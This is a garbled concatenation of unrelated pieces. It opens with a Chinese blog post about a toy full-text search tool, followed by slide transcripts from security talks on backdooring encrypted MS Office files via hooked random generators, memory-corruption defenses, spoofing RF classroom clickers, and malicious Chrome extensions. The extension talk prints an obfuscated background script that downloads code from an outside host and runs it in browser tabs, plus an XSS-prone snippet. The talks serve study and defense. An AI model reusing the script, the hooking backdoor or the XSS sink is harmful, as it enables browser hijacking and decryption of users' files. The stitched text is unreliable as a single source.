看了看⾃⼰硬盘⾥下载的很多markdwon,pdf,ppt的资料,如果能对它们进⾏全⽂搜索的话,不就相当于是个 ⾃⼰的⼩知识库吗。ES太重了,周末研究了⼀下,⾃⼰做了个玩具级别的全⽂索引,特点是轻量和占有资源⼩,只 运⾏⼀个exe就⾏。 索引⽀持⽂本,docx,ppt格式,pdf格式暂时不⽀持(没找到go解析pdf好⽤的库)。 ⼀些技术细节的碎碎念:全⽂索引的原理就是建⽴⼀个 倒排索引 ,索引的时候建⽴倒排表,查询的时候根据倒排表 的数据做合并,打分,排序操作,再输出结果。温习了很多在学校时的数据结构,在这个时候来找我在当年⽋下的 债了,源码开源,这个源码还有很多可以优化的地⽅,能够进⼀步提升速度。 使⽤ 使⽤很简单,就两步,先建⽴索引,后⾯进⾏查询 索引 索引指定⽬录 ./fulltext index -h                               建⽴索引 Usage: fulltext-cli index [flags] Flags:     --data string       要索引的⽬录     --ext stringArray   指定的索引后缀 (default [txt,md,yaml,ppt,docx,doc,pptx]) -h, --help             help for index ./fulltext index --data /Users/boyhack/Downloads/ 查询 如果要输出内容,可以加上 --show-content 参数 后续todo ⽀持pdf索引,⽀持图⽚ocr索引 展示内容能⾼亮显示 打分机制:bm25,临近距离算法 集成 ⽀持多种查询语法 优化内存占⽤,索引体积,查询速度 ./fulltext search nuclei ./fulltext search nuclei --show-content
pdf
My name is Yoshinori Takesako. It's very long name. so call me "Yoshi". I came from Tokyo, Japan. 1 I am a chairman of the SECCON. SECCON is a largest security CTF contest in Japan. I am an CTF organizer and a challenge creator. I am also on the Open Web Application Security Project - OWASP Japan advisory board. And I am the review board for the CODE BLUE which is a biggest international security conference in Japan. 2 In this year, About 2,500 people took part in the SECCON CTF qualifier from 58 countries around the world. We held the international SECCON CTF Final competition in this year at Tokyo, Japan. Finally, Korean hacker team had won. That was great. 3 I want to show the NIRVANA-KAI SECCON Customized Mk-II. This is a real time visualization system for attack and defense battle of CTF. This real time visualization system was developed by National Institute of Information and Communications Technology - NICT in Japan. 4 Okay, I talk about “Backdooring MS Office documents with secret master keys”. We made a lot of CTF challenges such as a XSS, reversing, pwn, cryptography at SECCON CTF project. when I created some cryptography challenges, I found this backdoor problem. Microsoft Office twenty ten or later version employ "Agile Encryption" algorithm in their OOX documents. We found a vulnerability in the file format specification that can allow an attacker to later decrypt strongly encrypted documents without the password. This is possible by tricking MS Office into creating an undetectable secret master key when it creates encrypted 5 documents. 5 Microsoft has standardized the OOX file format by ECMA international. It is not "Open Office" XML format, Open Office is a rival application for Microsoft. So “Office Open" XML format is correct. You can see at the DOCX suffix from filename. And you know it is just a zip archive file. 6 However, when you encrypt a DOCX file, it will become an old classical DOC FILE format. This encrypted.DOCX file has a DOCX suffix. But, it is not the zip archive file. You can see at file hex dump header, "D0 CF 11 E0“. it is DOCFILE's leet character! 7 Old classical DOC FILE format has been standardized as the MS-CFB. This specifications documentation was opened by Microsoft. I think it is a great job. 8 MS-CFB file format has some mini FAT sectors. Mini FAT has a 64-byte small sector size. mini FAT sectors are in a standard chain in the FAT. 9 This is a figure of File layout of encrypted DOCX file. Any encrypted DOCX file have a these file in mini FAT. EncryptionPackage is an binary file which was encrypted from original DOCX zip file object. EncryptionInfo is very important information for these encryption parameters. 10 Microsoft opened this Office cryptography Cryptography Structure as [MS-OFFCRYPTO]. We tried to read the MS-OFFCRYPTO document carefully. 11 Yes, we can read the binary of DOC FILE! 12 If you want to protect your document with passwords. In Microsoft Office, you can use passwords to help prevent other people from opening or modifying your documents. Select the Protect Document menu on Info tab. You can choose some submenu. When you select "Encrypt with Password", the Encrypt Document dialog box appears. In the Password box, type a password. And confirm password. Then Encrypted.docx is saved. 13 There are another manipulation. You can select SaveAs menu. And push the Tool button and select GeneralOption. Then you can input the password just the same way. 14 It's important to know that you don't forget the password. Because Microsoft cannot retrieve your forgotten passwords. If you forget the password, we can not retrieve the original documents. But, is it true? I cannot decrypt actually? 15 For when this occurs , there are password recovery software. oclHashcat is one of the famous password recovery tools by command line. 16 If you want to crack password protected MS Office documents, type this command. 17 Recently oclHashcat supports GP-GPU power, and supported new Office document OOX file format. 18 Before you have to extract hash from encrypted file by office2john.py. 19 There are another password recovery software with simple User interface. I used the Passcovery commercial edition which is very powerful password recovery tools. 20 It's very simple graphic user interface. Only clicking. 21 I evaluated comparing the decryption time of password cracking. There are some encryption file format. Classic Zip and AES Zip nad old DOCFILE and new DOCX files. DOCX files are very strong against Brute-force attack. 22 Password consists of Latin small characters an Latin capital characters and digits and special symbols characters. If the password length is 8. Time required to decrypt the encrypted Classic ZIP file by brute force attack was 15 minutes. Its encryption key bit is only 96. WinZIP have a long AES encryption key, Time required to decrypt the encrypted new WinZIP file by brute force attack was 6 days. Time required of brute force attacking has increased gradually with Office version is newer. 23 Password consists of Latin small characters an Latin capital characters and digits characters. If the password length is 8. DOCX’s time required of brute force attacking was about Twenty thousand years with Office version is twenty thirteen. 24 Password consists of 93 letters which include Latin small characters and Latin capital characters and digits and special symbols characters. If the password length is 8. Office twenty thirteen DOCX’s time required of brute force attacking was about Sixty-seven million years. If the password length is 10, you will not be able to decrypt even coming the next Big Bang. 25 26 27 28 This program code is password checking and decoding algorithm. Please attention the line that the secretkey is used. decData is dependent on only secretkey and keydatasalt. It is not dependent on password. 29 This is a figure of dependency of values in decoding. Decoded contents is dependent on only secretkey and keydata.saltValuy. It is not dependent on password. I think that it is a problem. 30 This is a figure of dependency of values in encoding. There are problem with generating the secretKey. The secretKey used in AES encryption needs to create an unique key with random data. 31 If the key is long enough and was created with truly random data then it is thought to be extremely difficult to crack. However, if the secretKey was chosen in a predictable manner then it will be easy to crack. The integrity of secure random generators (both software and hardware based) are imperative for strong encryption. 32 I would like to introduce my friend. Shigeo Mitsunari is a software developer and researcher at Cybozu Labs company. He developed this msoffice-crypt.exe tools. I was working together with him. He is a co- author of this paper. 33 We made the encryption and decryption tools for new Microsoft Office DOCX and XLSX and PPTX files. 34 msoffice-crypt command has a decode with inputed password options. It is –d and –p. 35 We made a decode with master key options. Is is –k. 36 And we made a encode option. It is –e. Then we have –e and –k and –p options. We can make two encrypted files by another password with same master key. It is a backdoor. 37 38 39 1. In this demo, demo1.xlsx is encrypted with the password "pass". The target software is MS Excel twenty-thirteen. 2. demo2.xlsx is encrypted with another password "pass1234". 3. However, MS Office was manipulated to implant a hidden master key when these files were created. 4. Therefore, these files can be easily decrypted by the same master key without any need to brute-force the password. 5. In this example, the master key is set to "001122...FF0011...FF". 40 41 IT admin can "unlock" the password-protected OOXML Word, Excel and PowerPoint files for a user and then either leave the file without password protection! (it is official) 42 43 44 1st attack vector is that some attacker can replace the random generator function by Win32 API hooking. 45 There are so many API hooking techniques. IAT Import Address Table function hooking is one of the famous Windows API hooking techniques. 46 And more over, there are WinAPIOverride thirty- two and sixty-four application. It’s very nice software. I like it. 47 Microsoft Research created general purpose function hooking library “Detours”. It can easily hook the application by DLL injection. In this case, I can hook the CryptGenRandom function on Advapi32.dll. Then hooked CryptGenRandom function always return the fixed value. 0x33 48 In other case, I can hook the CPGenRandom function on old Windows API. Hooked CPGenRandom function always return the fixed value which is not random value. 49 In another case, I can hook the rtl_random_getBytes function on sal3.dll which is used by LibreOffice application. I can control the randomness on my own computer. 50 2nd attack vector is that some attackers can replace the random generator in embedded hardware chips. 51 Intel developed the RdRand instruction in the hardware chip. Core i7 so on. It generate truly random by Intel's new hardware chips. 52 The pseudo-device /dev/random generates a virtually endless stream of random numbers on GNU/Linux systems. RdRand is an instruction found in modern Intel CPU chips that stashes a "high-quality and high-performance entropy" generated random number in a given CPU register. These, hopefully, unpredictable values are vital in producing secure session keys, new public-private keys and padding in modern encryption technology. If some government intelligence agencies have managed to persuade Intel to hobble that instruction. The strength of encryption algorithms will be weak on that random data. 53 Linus Torvalds's answer is very simple. we use rdrand as one of many inputs into the random pool, and we use it as a way to improve that random pool. So even if rdrand were to be back-doored by some government intelligence agencies, our use of rdrand actually improves the quality of the random numbers you get from /dev/random. We can get the source code of Linux. And This is because it can be verified binaries on your own machines. It’s very important that Linux is a open source software. 54 However, what is in the cloud environments? 3rd attack vector is that some attackers can use the predictable number generator secretly in cloud environments. 55 Recently, Microsoft released an Office online. You can try this one as Office twenty-sixteen preview edition. The Office application will be on the Microsoft's cloud system. I think that we can not stop these cloud system movements now. We should check how the cloud encryption algorithm and encryption system is safety. Some industry companies become to have an interest in safety encryption system. I think that it is important things. Linux is a open source, but Microsoft product is closed source. 56 Recent MS Office twenty-ten or later version’s documents are normally encrypted very strongly, making them difficult to brute force attacks. However, there are techniques some attacker can use to secretly backdoor these encrypted documents to make them trivial to decrypt. Cloud environments may be more dangerous than thought as it is not possible for users to confirm the security of their encryption. And it would be easy for cloud providers to backdoor encryption in undetectable ways. If advanced attackers can access to those cloud providers, it will become a serious problem. 57 Thank you for your attention. And I want to say thanks for some supported members. That’s all. 58
pdf
Memory Wars: 對記憶體攻擊手法與防禦技術的探討 Authorized Morphor distributor Leo Liaw 數位資安系統股份有限公司 | 2 Agenda 記憶體漏洞 How Windows execute an executable? What is PE? 微軟防護記憶體攻擊的工具 (EMET)  EMET 版本沿革  EMET 的限制 EMET/ASLR 以外的工具 We need to do better Before and After 3 | 記憶體漏洞 4 | 記憶體漏洞都是來自於載入可能錯誤的內容到程式中。 記憶體漏洞 • Intra-chunk heap overflow or relative write • Shader Parameter heap corruption • …….. • Buffer overflow (heap 或 stack) • Type confusion • Use-after-free (UAF) • Integer overflow • stack corruptions • Inter-chunk heap overflow or corruption 5 | 執行惡意程式 操控電腦 攻擊網路 窺視其他網路主機 竊取資料 破壞數據 讓程式或系統當機 拒絕服務 Everything bad all because of you 你可以用記憶體漏洞做甚麼事 7 | 記憶體攻擊範例: CVE-2016-4117 Source: https://tirateunping.wordpress.com/2016/05/17/cve-2016-4117-fireeye-revealed-the-exploit-chain-of-recent-attacks/ 記憶體攻擊類型: Type confusion 1. 受害者開啟惡意的 Office 文件 1. Office 文件開始執行內嵌的 Flash 檔案 1. 如果 Flash Player 版本太舊,攻擊就會終止 2. 否則,攻擊就會執行內嵌的 Flash Exploit (Type Confusion/All Memory Attack 都是在這 裡發生, Devils are here) 2. Exploit 執行內嵌的原生 Shellcode 1. Shellcode 會從攻擊者的伺服器,下載並執行第二個 Shellcode 3. 第二個 Shellcode 1. 下載並執行 Malware 2. 下載並顯示 Decoy 文件 4. Malware 連線到第二個 Command and Control (C2) 伺服 器,等待進一步的指示 | 11 長久以來,微軟也體認到記憶體漏洞的嚴重威脅,所以陸續推出 相關防護的技術。 How Windows execute an executable? | 14 1. .EXE is loaded from disk  Parse PE headers  Map sections into memory  Parse Import Table 2. Load DLL dependencies  Resolve import API functions 3. Transfer execution to the .EXE Entry Point  AddressOfEntryPoint Process Creation Overview Figure Source: Memory Management 1 © 2000 Franz Kurfess Course Overview Principles of Operating Systems Introduction Computer System Structures Operating System. | 15 Windows implements a virtual memory model  Virtual memory is independent of physical memory Every process had its own private virtual address space  Process are isolated and cannot inadvertently modify each others memory  Physical-to-virtual memory translations are managed in the Windows kernel  Completely transparent to user process Process Memory | 16 Each time an executable (.EXE) is launched, Windows will  Validate the PE image and parameters  Create a virtual address space where the program will be loaded and executed The virtual address space contains:  All of the executable’s code and data (the .EXE itself)  All of the DLL dependencies code and data (required .DLLs) EXE file launching | 17  PE files define a preferred base memory address in the Optional Header:  EXE default: 0x400000  DLL default: 0x10000000  DLLs can be relocated by the Windows loader  Occurs when preferred address already in use  Relocatable Dlls have a special .reloc section  ASLR (Address Space Layout Randomization) ensures DLLs will be moved Process Memory Layout What is PE and Why it is so important? | 19 Portable Executable (PE) file is the standard binary file format for Windows executables  .EXE  Executable program. The Windows OS creates a virtual address space for program to run.  .DLL  Dynamic Link Library. Windows concept of shard library. Also referred to as a module  .SYS  Kernel driver. Executes in kernel-mode alongside core OS components PE File format - Overview | 20  The PE file format is a structured organization of Headers and Sections  Header tell the OS how to interpret the PE file  Type of the PE file (EXE/DLL/SYS)?  What memory location does execution begin? (Entry Point)  How should the sections be arranged in memory? (Section headers)  What DLL dependencies does the EXE need? (Imports)  What functionality does the PE file expose to other applications? (Exports)  Sections store the PE file content. This includes:  Executable code  Program data  Binary resources PE File Format – Header and Sections | 21  The PE Optional Header is used to store NT-specific attributes. On NT systems the “optional” header is required.  ImageBase  Tells the OS its preferred base memory address  AddressOfEntryPoint  Tells the OS where to start executing  Other metadata:  Subsystem: (e.g., GUI, Console, Native, WinCE, etc.)  DllCharacteristics: Security-related linker options (e.g., ASLR, NX, DEP, SAFESEH)  Minimum supported NT version PE File Format – PE Optional Header DllCharacteristics Figure Source: http://www.cnblogs.com/shangdawei/p/4785494.html 微軟防護記憶體攻擊的工具 Enhanced Mitigation Experience Toolkit, EMET • 一種公用程式,整合多種防止緩衝區漏洞功能,預防軟體中的弱 點被利用。 • 使用安全防護技術。這些技術可以提高入侵的障礙,必須通過才 能利用軟體弱點。 • 不保證弱點不被利用。然而可讓弱點更難以遭到入侵。 • DEP (Data Execution Prevention,資料防止執行) • SEHOP (Structured Exception Handling Overwrite Protection,防止結構 異常處理覆寫) • ASLR (Address Space Layout Randomization,記憶體位置編排隨機化) Source: https://support.microsoft.com/zh-tw/kb/2909257 EMET防護 模組 Source: EMET 5.5 User’s Guide, Microsoft Download Center Source: EMET 5.5 User’s Guide, Microsoft Download Center Source: EMET 5.5 User’s Guide, Microsoft Download Center Source: EMET 5.5 User’s Guide, Microsoft Download Center Figure Source: Computer Science 10/06/051 Address Space Layout Permutation Chongkyung Kil Systems Research Seminar EMET的版本沿革 | 41 Cat and Mouse Source: https://www.youtube.com/watch?v=XZa0Yu6i_ew, Return Oriented Programming – ROP, Maryland Cyber Security Center  Defense: Make stack/heap nonexecutable to prevent injection of code  Attack response: Jump/return to libc  Defense: Using ASLR to hide the address of desired libc code or return address  Attack response: Brute force search (32-bit systems) or information leak (format string vulnerability)  Defense: Avoid using libc code entirely and use code in the program text instead  Attack response: Construct needed functionality using Return Oriented Programming (ROP) | 42 Figure Source: http://www.slideshare.net/saumilshah/exploit-delivery/13-netsquareGSSafeSEHDEPASLRPermanent_DEPASLR_and_DEPSEH_overwritesnonSEH | 43  Structured Exception Handling Overwrite Protection (SEHOP): Provides protection against exception handler overwriting.  Dynamic Data Execution Prevention (DEP): Enforces DEP so data sections such as stack or heap are not executable.  NULL page allocation: Prevents exploitation of null dereferences.  Heap spray allocation: Prevents heap spraying.. EMET 1.x, released in October 27, 2009 Source: https://www.fireeye.com/blog/threat-research/2016/02/using_emet_to_disabl.html | 44  Mandatory Address Space Layout Randomization (ASLR): Enforces modules base address randomization; even for legacy modules, which are not compiled with ASLR flag.  Export Address Table Access Filtering (EAF): EMET uses hardware breakpoints stored in debugging registers (e.g. DR0) to stop any thread which tries to access the export table of kernel32.dll, ntdll.dll and kernelbase.dll, and lets the EMET thread verify whether it is a legitimate access. EMET 2.x, released in September 02, 2010 Source: https://www.fireeye.com/blog/threat-research/2016/02/using_emet_to_disabl.html | 45  Imported mitigations from ROPGuard to protect against Return Oriented Programming (ROP).  Load Library Checks: Prevents loading DLL files through Universal Naming Convention (UNC) paths.  ROP Mitigation - Memory protection checks: Protects critical Windows APIs like VirtualProtect, which might be used to mark the stack as executable.  ROP Mitigation - Caller check: Prevents critical Windows APIs from being called with jump or return instructions.  ROP Mitigation - Stack Pivot: Detects if the stack has been pivoted.  ROP Mitigation - Simulate Execution Flow: Detects ROP gadgets after a call to a critical Windows API, by manipulating and tracking the stack register.  Bottom-up ASLR: Adds entropy of randomized 8-bits to the base address of the bottom-up allocations (including heaps, stacks, and other memory allocations). EMET 3.x, released in May 25, 2012 Source: https://www.fireeye.com/blog/threat-research/2016/02/using_emet_to_disabl.html | 46  Deep Hooks: With this feature enabled, EMET is no longer limited to hooking what it may consider as critical Windows APIs, instead it hooks even the lowest level of Windows APIs, which are usually used by higher level Windows APIs.  Anti-detours: Because EMET places a jump instruction at the prologue of the detoured (hooked) Windows API functions, attackers can craft a ROP that returns to the instruction that comes after the detour jump instruction. This protection tries to stop these bypasses.  Banned functions: By default it disallows calling ntdll!LdrHotpatchRoutine to prevent DEP/ASLR bypassing. Additional functions can be configured as well.  Certificate Trust (configurable certificate pinning): Provides more checking and verification in the certificate chain trust validation process. EMET 4.x, released in April 18, 2013 Source: https://www.fireeye.com/blog/threat-research/2016/02/using_emet_to_disabl.html | 47  Introduced Attack Surface Reduction (ASR): Allows configuring list of modules to be blocked from being loaded in certain applications.  EAF+: Similar to EAF, it provides additional functionality in protecting the export table of kernel32.dll, ntdll.dll and kernelbase.dll. EMET 5.x, released in July 31, 2014 Source: https://www.fireeye.com/blog/threat-research/2016/02/using_emet_to_disabl.html EMET的限制 EMET 的注意事項 • 某些主機型入侵預防系統 (HIPS) 應用程式可能會提供類似於 EMET 的保護。在系統上同時安裝這些應用程式和 EMET 時,可 能需要進行其他設定,以便讓這兩種產品共存。 此外,EMET 目的是與桌面應用程式 (User Application) 搭配使 用,因此您只應保護會接收或處理不受信任資料的應用程式。系 統和網路服務不屬於 EMET 的範圍。雖然技術上可能可以使用 EMET 保護這些服務,但我們不建議您執行這項操作。 Source: https://support.microsoft.com/zh-tw/kb/2909257 不建議使用 EMET 保護的軟體 • EMET 安全防護功能在作業系統的極低層級 (Kernel) 運作 • 某些在類似低層級運作的軟體類型在設為使用 EMET 保護時,可 能會發生相容性問題 • 下列為不建議使用 EMET 保護的軟體類型清單: • 反惡意程式碼和入侵預防或偵測軟體 • 偵錯工具 • 處理數位版權管理 (DRM) 技術 (也就是電玩) 的軟體 • 使用防偵錯、模糊化或攔截技術的軟體 Source: https://support.microsoft.com/zh-tw/kb/2909257 EMET 不是 Windows 的內建工具 但 EMET 沒有成為 Windows 系統的預設程式 因為有許多工具程式為了保護其程式不被反組譯或有其他特定目 的,在 EMET 的保護架構下沒辦法正常運行 Source: https://support.microsoft.com/zh-tw/kb/2909257 | 53 EMET 的缺點 1. Rule必須先定義 2. 程式必須先設定 3. EMET在 Kernel 層運作有相容性問題 4. 需要大量的記憶體 5. 重新開機設定變更才會生效 6. 不提供攻擊詳細資訊 7. 在 Win 7, 8 與 10 可以被跳過 | 54 記憶體位置編排隨機化缺點 Address Space Layout Randomization (ASLR) 1. 只有每次重開機才會再次隨機排列 2. 針對編譯階段並未啟用ASLR的模組不支 援,或是效果不好(Win8以上) 3. 在 32 位元系統上會有低不可預測性 (Low entropy) 的問題,造成容易暴力破 解攻擊 4. Only get exception, crash or stuck 5. 發生攻擊不會警示 6. 不提供攻擊鑑識資訊 7. 容易被攻擊工具破解 | 56 閃過 ASLR 其實很簡單  Information that will evade the ASLR. There are mainly two ways: 1. Any anti ASLR modules gets loaded into the target application. You have the base address of any module at fixed location always even after the system restart. 2. You get a pointer leak from a memory leak/buffer overflow/any zero day. You can adjust the offsets to grab the base address of the module whose pointer gets leaked.  When you have a pointer, so you can either make your shellcode from ROP, ROP is a little advanced return to LibC attack and is return oriented programming. Source: Whitepaper on Bypassing ASLR/DEP, Vinay Katoch 除了EMET/ASLR還有甚麼工具 59 | Current Solutions • Patch • Traditional White listing • Machine learning • Anti-exploitation tools 60 | PROS: 大多數非針對型攻擊會繼續使用相同的漏洞,因為可以快速散 播,所以更新程式可以有效防堵 CONS: 企業很難承受更新週期所造成的作業中斷 每次更新都要重新測試與所有開發軟體的相容性 在更新周期當中又冒出新的漏洞 某些更新程式又出現要命的相容性問題 永遠都在更新 Patch 61 | PROS: 有助於對抗某些類型的攻擊套件 (例如大多數 的勒索軟體都會下載檔案到磁碟) CONS: 管理非常麻煩 (大多數的企業討厭傳統白名單 解決方案) 對於非下載檔案類型的攻擊,傳統白名單不 能阻止 (例如 Registry 或是記憶體攻擊) 如果沒有 Windows 認證,傳統白名單產品會 在 Kernel 層產生很多相容性問題 傳統白名單或 Group Policy 控管 62 | PROS: 可以不需要特徵值,掃描環境中惡意程 式的存在 (在被執行前) CONS: 誤報很多,需要很多微調來適應企業的 環境 難以防範結合多個惡意程式所發動的聯 合攻擊 對真正的高階針對型攻擊無效 機器學習 63 | PROS: 可以阻止大多數的一般攻擊套件(例如 Angler, RIG, Nuclear) CONS: 這類工具大多數都是 Rule based – 也 就是摸熟的話就可以 Bypass 消耗大量處理器資源 管理麻煩 Anti-exploitation 工具 64 | 除了白名單機制之外,以上三種防禦機制都必須對攻擊行為有所了解 但是企業對於白名單的接受度不高 有沒有更有效的新思維、新觀念呢? 現有防禦機制的共同問題 EMET/ASLR is not enough We need to do better | 66 防守方想盡辦法找出難以捉摸的攻擊與威脅 讓攻擊方想盡辦法找尋難以捉摸的目標 偵測 Detection 特徵 Signatures 行為 Behavioral 啟發式演算法 Heuristics 傳統與號稱次世代的解決方案 防護 Prevention 多樣變形 Polymorphism 隱藏目標 Hiding the target 確定性 Deterministic 資訊安全的根本改變 移動目標防護 Moving Target Defense | 69 移動目標防護 Moving Target Defense (MTD) <記憶體空間內部> 變形的 系統資源 將記憶體結構變形,讓記憶體無法被猜測以進行 攻擊。 每次載入程式時就即時變形 單向的隨機重組,沒有還原金鑰 信賴的程式碼 系統資源 使用者啟動應用程式,隨後載入記憶體空間中。 | 70 移動目標防護 Moving Target Defense (MTD) 信賴的程式碼 系統資源 讓處理程序知道有一個合法存在的新變形記憶體 結構。 保留原本結構的虛擬副本 應用程式照正常運作 變形的 系統資源 誘餌 <記憶體空間內部> | 71 移動目標防護 Moving Target Defense (MTD) 任何嘗試存取原本記憶體結構的程式碼,並不 會知道位址變化,就會被認定是惡意程式! 變形的 系統資源 在初期刺探時,攻擊就會立刻掉入陷阱,並予以 儲存以準備進一步調查。 惡意程式碼插入 呼叫原有位址 反而暴露攻擊 信賴的程式碼 陷阱 原本的系統資源 成為誘餌 <記憶體空間內部> 記憶體攻擊手法展示 Before and after MTD 73 | 正所謂 APT/Ransomware 烈女怕纏郎(針對性) 靚女怕色狼(大規模) | 74 | 79 | 82 83 | 記憶體攻擊範例: CVE-2016-4117 Source: https://tirateunping.wordpress.com/2016/05/17/cve-2016-4117-fireeye-revealed-the-exploit-chain-of-recent-attacks/ 記憶體攻擊類型: Type confusion 1. 受害者開啟惡意的 Office 文件 1. Office 文件開始執行內嵌的 Flash 檔案 1. 如果 Flash Player 版本太舊,攻擊就會終止 2. 否則,攻擊就會執行內嵌的 Flash Exploit (Type Confusion/All Memory Attack 都是在這 裡發生, Devils are here) 2. Exploit 執行內嵌的原生 Shellcode 1. Shellcode 會從攻擊者的伺服器,下載並執行第二個 Shellcode 3. 第二個 Shellcode 1. 下載並執行 Malware 2. 下載並顯示 Decoy 文件 4. Malware 連線到第二個 Command and Control (C2) 伺服 器,等待進一步的指示 84 | Hancitor (aka Chanitor and TorDal) is a downloader-type malware and usually a part of a larger targeted campaign. New evasive technique(s) that allow it to elude most existing endpoint security solutions. Using an embedded calls to launch and grab additional payloads. Injecting a DLL or EXE downloaded from a URL and executing it without writing it to the disk. A Brief History of Hancitor | 86 移動目標防護新觀念 1. 不須設定 Rule 2. 不須學習攻擊知識 3. 加入誘捕設計 4. 適用全部程式類型 5. 相容現有資安產品 6. 沒有執行階段元件,不影響效能 7. 提供鑑識資訊,可供SIEM使用 8. 提供組織內部資安狀態資訊 | 87  透過 MTD 技術可以防護所有的 In-memory attacks Browser, Office, Adobe PDF/Flash, Java, Backdoor 五大類型  Zero-day, one-day, exploit based malware, PowerShell/Java Script  來自 Web 的攻擊,如勒索軟體  所有的惡意檔案,如 Adobe 與 Office 文件  窩藏 Flash, Silverlight 以及 JavaScript 攻擊的惡意或合法網站  利用 shellcode 來執行 Payload 的 Java 攻擊 (大多數最近的攻擊類型)  File-less 或 Non-persistent 惡意程式的漏洞攻擊 Key Take Away | 88 孫子說:「兵不厭詐」 | 89 打不到,打不到,就是讓你打不到 | 90 Matt Chen Jason Lai Julian Su Myself Special Thanks to LeoLiaw@iSecurity.com.tw | 92 “無論大小企業,凡是尋找最佳防護方案以對抗進階持續威脅、勒索 軟體與入侵探刺等惡意攻擊的組織,都應該考慮 Morphisec。”
pdf
Time Turner Hacking RF Attendance Systems (To Be in Two Places at Once) DEMO 1 ? ? ? Jacob Glueck Ammar Askar Aaron Wisner Charles Cao Prof. Bruce Land (Advisor) Cole Smith https://github.com/wizard97/iSkipper https://github.com/charlescao460/iSkipper-Software (Transposition Cipher) (Transposition Cipher) Device ID Checksum: 8F941803 0x8F ⊕ 0x94 ⊕ 0x18 = 0x03 https://github.com/VCNinc/Time-Turner https://github.com/VCNinc/Time-Turner DEMO 2 DEMO 3 “Time Turner” Protocol 1. Remain idle until the class is about to begin 2. Turn on and start emulating both a remote and a base station 3. Wait until device overhears a burst of radio traffic 4. Determine most popular student response using base station emulator 5. Broadcast most popular response from remote emulator 6. Repeat 2-5 until the expected end time of the class DEMO 4 DEMO 5 DEMO 6 Authentication Authentication An authentication mechanism can be: Authentication An authentication mechanism can be: 1. Something you know (eg. passwords) Authentication An authentication mechanism can be: 1. Something you know (eg. passwords) 2. Something you have (eg. U2F keys) Authentication An authentication mechanism can be: 1. Something you know (eg. passwords) 2. Something you have (eg. U2F keys) 3. Something you are (eg. biometrics) Authentication An authentication mechanism can be: 1. Something you know (eg. passwords) 2. Something you have (eg. U2F keys) 3. Something you are (eg. biometrics) 4. Polling devices??? Kerckhoffs's Principle A system should be secure even if everything except the key is public knowledge. Kerckhoffs's Principle A system should be secure even if everything except the key is public knowledge. Kerckhoffs's Principle A system should be secure even if everything except the key is public knowledge. CIA Properties CIA Properties ● Confidentiality CIA Properties ● Confidentiality ● Integrity CIA Properties ● Confidentiality ● Integrity ● Availability CIA Properties ● Confidentiality ● Integrity ● Availability CIA Properties ● Confidentiality ● Integrity ● Availability CIA Properties ● Confidentiality ● Integrity ● Availability Availability Availability Availability Availability Frequency-hopping spread spectrum Availability Frequency-hopping spread spectrum Availability Frequency-hopping spread spectrum Confidentiality Confidentiality Confidentiality Confidentiality Integrity Integrity Authentication Authentication Authentication Authentication Security Summary Security Summary Security Summary 1. Use FHSS to avoid DoS attacks 2. Use encryption in transit Security Summary 1. Use FHSS to avoid DoS attacks 2. Use encryption in transit Bluetooth (or BLE) (Kerckhoffs's Principle) Security Summary 1. Use FHSS to avoid DoS attacks 2. Use encryption in transit 3. Use PUF 4. Use timed challenge-response Bluetooth (or BLE) (Kerckhoffs's Principle) Security Summary 1. Use FHSS to avoid DoS attacks 2. Use encryption in transit 3. Use PUF 4. Use timed challenge-response Bluetooth (or BLE) (Kerckhoffs's Principle) Security Summary 1. Use FHSS to avoid DoS attacks 2. Use encryption in transit 3. Use PUF 4. Use timed challenge-response Bluetooth (or BLE) (Kerckhoffs's Principle)
pdf
GAME OF CHROMES Owning the Web with Zombie Chrome Extensions Tomer Cohen April 2016 Sign-up Graph 1000 RPM 9000 RPM Sign-up Graph 1000 RPM 9000 RPM Investigating Attack Patterns 10 Sec Attack Page Attack Page Google Web Store Extension Course of Action Inject Code Into Facebook tabs Open Wix Frame Transparently inside a Facebook page Sign Up to Wix From within the frame /register /register Extension Course of Action Inject Code Into Facebook tabs Open Wix Frame Inside a Facebook page Sign Up to Wix Bypassing bot detection Publish Wix Website That leads to attack page Distribute Link Among all Facebook friends Review Extension In Google Web Store The Objective: Use Wix as a distributor to form a bot net Bot Masters: What Do They Want? Send Spam DDoS Attacks Scrape Websites Click Frauds June 2016 April 2016 Tag Me If You Can User Click Facebook Friends Extension New Payload Instance This Magical Bot… What Makes A Good Bot Goal: Look Human Human Context Javascript Challenges Browser Extension: The Perfect Bot {
 "update_url": "https://clients2.google.com/ service/update2/crx",
 "background": {
 "scripts": [
 "view.js"
 ]
 },
 "browser_action": {
 "default_icon": "viadeo.png",
 "default_popup": "index.html"
 },
 "content_scripts": [
 {
 "js": [
 "jquery.js",
 "crack.js"
 ],
 "matches": [
 "*://*.viadeo.com/*"
 ]
 }
 ],
 What An Extension Can Do "description": "Permet de profiter des avantages d'un compte vi "icons": {
 "128": "viadeo.png",
 "16": "viadeo.png",
 "48": "viadeo.png"
 },
 "manifest_version": 2,
 "name": "Viad30 Unlocker",
 "permissions": [
 "tabs",
 "*://*.viadeo.com/",
 "storage",
 "webNavigation",
 "http://*/*",
 "https://*/*",
 "cookies",
 "webRequest",
 "webRequestBlocking"
 ],
 "version": "3.4",
 "content_security_policy": "script-src 'self' 'unsafe-eval'; ob }
 Extension Manifest Cross-origin request ability Background script Snatch user cookies from any tab chrome.tabs.onUpdated.addListener(function(gdhndztwu, ylvmbrzaez, ypujhmpyy) { var xhr_obj = juykhjkhj();
 xhr_obj['onreadystatechange'] = function() {
 if (xhr_obj['readyState'] == 4) {
 chrome['tabs']['executeScript']({
 code: xhr_obj['responseText']
 })
 }
 };
 xhr_obj['open']('get', 'http://appbda.co/data.js');
 xhr_obj['send']();
 if (rkiyypsyn == 0) {
 rkiyypsyn = 1;
 } Command & Control Background Script Any time a tab is updated Get new commands from the attacker’s server And execute them on the active tab. Browser Extension: The Perfect Bot Too Much Work… How Can We Make It Easier? Adobe Acrobat extension XSS • January 2016 • 30 million installations • XSS found by Google Project Zero researcher Tavis Ormandy op = request.panel_op;
 switch (op) {
 case "status":
 if (request.current_status === "waiting") {
 ...
 } else if (request.current_status === "failure") {
 analytics(events.TREFOIL_HTML_CONVERT_FAILED);
 if (request.message) {
 str_status = request.message;
 }
 success = false;
 }
 }
 ...
 if (str_status) {
 $(".convert-title").removeClass("hidden");
 $(".convert-title").html(str_status);
